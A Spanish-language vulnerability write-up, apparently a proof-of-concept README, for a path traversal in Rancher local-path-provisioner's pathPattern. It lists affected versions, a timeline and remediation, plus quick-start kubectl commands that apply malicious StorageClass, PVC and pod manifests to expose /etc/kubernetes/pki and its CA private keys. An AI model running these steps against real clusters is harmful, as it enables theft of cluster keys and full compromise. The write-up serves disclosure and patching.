CVE-2025-62878: Path Traversal en Local Path Provisioner

Resumen

Elemento	Valor
CVE ID	CVE-2025-62878
GHSA ID	GHSA-jr3w-9vfr-c746
Gravedad	Crítica (CVSS 10.0)
CWE	CWE-23 (Recorrido de Ruta Relativa)
Componente Afectado	rancher/local-path-provisioner
Versiones Afectadas	v0.0.27 ~ v0.0.32
Versiones Corregidas	v0.0.33+

Descripción de la Vulnerabilidad

Existe una vulnerabilidad de path traversal en el parámetro pathPattern de StorageClass. Un usuario malicioso puede manipular pathPattern usando elementos de ruta relativos (p. ej., ../) para crear PersistentVolumes que apunten a ubicaciones arbitrarias en el nodo anfitrión, omitiendo la restricción del directorio base configurado.

Esto permite a los atacantes:

• Acceder a archivos sensibles del anfitrión (p. ej., /etc/kubernetes/pki/)
• Sobrescribir archivos críticos del sistema
• Lograr compromiso total del clúster al robar las claves privadas de la CA de Kubernetes

Versiones Afectadas (Verificadas)

Versión	Fecha de Publicación	Soporte pathPattern	Vulnerable
v0.0.26	2023-12-03	No	Seguro (función no existe)
v0.0.27	2024-05-29	Sí	Vulnerable
v0.0.28	2024-06-19	Sí	Vulnerable
v0.0.29	2024-09-03	Sí	Vulnerable
v0.0.30	2024-10-07	Sí	Vulnerable
v0.0.31	2025-01-24	Sí	Vulnerable
v0.0.32	2025-07-31	Sí	Vulnerable
v0.0.33	2025-12-25	Sí	Corregido
v0.0.34	2026-01-06	Sí	Corregido

Nota: El aviso oficial de GitHub declara que versión "< 0.0.34" está afectada, pero nuestras pruebas confirman:

• v0.0.33 ya está parcheado
• v0.0.26 y anteriores no están afectados (la función pathPattern no existe)
• Rango afectado real: v0.0.27 <= versión <= v0.0.32

Cronología

Evento	Fecha
Función pathPattern introducida	2024-05-26 (commit af85381)
Primera versión vulnerable (v0.0.27)	2024-05-29
Commit de corrección	2025-12-24 (commit 1ed6b54)
Primera versión parcheada (v0.0.33)	2025-12-25
CVE publicado	2026-02-04

Reproducción

Vea el directorio exploit/ para pasos detallados de reproducción y scripts.

Inicio Rápido

# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml

# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml

# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki

kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys

Remediación

Actualice a v0.0.33 o posterior:

kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml

Referencias

• Aviso de GitHub GHSA-jr3w-9vfr-c746
• Commit de corrección 1ed6b54
• Commit de la función pathPattern af85381